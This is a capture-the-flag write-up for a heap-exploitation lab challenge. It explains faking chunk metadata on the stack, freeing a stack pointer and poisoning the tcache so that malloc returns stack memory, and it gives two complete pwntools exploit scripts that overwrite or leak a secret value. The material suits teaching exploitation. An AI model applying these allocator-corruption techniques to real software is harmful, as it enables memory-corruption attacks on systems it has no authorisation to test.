(Dynamic Allocator Misuse) level 13
Information
- category: pwn
Description
Leverage calling free() on a stack pointer to read secret data.
Write-up
Goal: manipulate heap metadata to perform an overwrite of a secret value stored on the stack, then trigger verification to get the flag.
Step 1 — Setup: Fake prev_size & size metadata
From analysis of the binary’s heap operations, we can place crafted metadata inside a heap chunk.
This includes:
prev_size
fieldsize
field
We overwrite them such that a free()
call will cause the allocator to treat the chunk as a different size and location.
Step 2 — Free the fake chunk
By freeing the crafted chunk placed on the stack, we control where the next malloc returns.
We pick a large size so that malloc returns a pointer into the stack memory we control.
Step 3 — Overwrite secret
When the vulnerable program uses malloc with our controlled size, it returns a pointer to the stack.
We then overwrite the secret value with a controlled string (e.g., "AAA..."
).
Example:
1
2
3
4
malloc(fake_chunk_size)
free(fake_chunk)
malloc(big_size) # returns pointer to our target stack location
write("AAA...")
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
elf = context.binary = ELF("/challenge/stack-summoning-hard")
global p
p = elf.process()
def malloc(idx,size):
p.sendline(b"malloc")
p.sendline(idx)
p.sendline(size)
def free(idx):
p.sendline(b"free")
p.sendline(idx)
def puts(idx):
p.sendline(b"puts")
p.sendline(idx)
def scanf(idx,data):
p.sendline(b"scanf")
p.sendline(idx)
p.sendline(data)
def stack_free():
p.sendline(b"stack_free")
def stack_scanf(data):
p.sendline(b"stack_scanf")
p.sendline(data)
def send_flag(secret):
p.sendline(b"send_flag")
p.sendline(secret)
def exploit():
data = b"A"*0x30 + p64(0) + p64(0x200)
stack_scanf(data)
stack_free()
malloc(b"0",b"500")
data = b"A"*300
scanf(b"0",data)
send_flag(b"A"*16)
p.interactive()
def main():
exploit()
if __name__ == "__main__":
main()
other approche
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
elf = context.binary = ELF("/challenge/stack-summoning-hard")
context.log_level = "debug"
global p
p = elf.process()
def malloc(idx,size):
p.sendline(b"malloc")
p.sendline(idx)
p.sendline(size)
def free(idx):
p.sendline(b"free")
p.sendline(idx)
def puts(idx):
p.sendline(b"puts")
p.sendline(idx)
def scanf(idx,data):
p.sendline(b"scanf")
p.sendline(idx)
p.sendline(data)
def stack_free():
p.sendline(b"stack_free")
def stack_scanf(data):
p.sendline(b"stack_scanf")
p.sendline(data)
def send_flag(secret):
p.sendline(b"send_flag")
p.sendline(secret)
def send_flag():
p.sendline(b"send_flag")
p.sendline(b"egrmayqpteprmrxc")
def exploit():
malloc(b"0",b"32")
data = b"A"*0x30 + p64(0) + p64(0x30)
stack_scanf(data)
stack_free()
free(b"0")
puts(b"0")
p.recvuntil(b"Data: ")
stack = u64(p.recvline().strip().ljust(8,b"\x00")) + 0xf5 - 0x40 + 8 # first part -8
log.success(f"stack: {hex(stack)}")
malloc(b"0",b"32")
malloc(b"1",b"32")
free(b"1")
free(b"0")
scanf(b"0",p64(stack))
malloc(b"0",b"32")
malloc(b"0",b"32")
puts(b"0")
p.recvuntil(b"Data: ")
secret2 = p.recvline()
log.success(f"secret part 2:{secret2}")
send_flag()
p.interactive()
def main():
exploit()
if __name__ == "__main__":
main()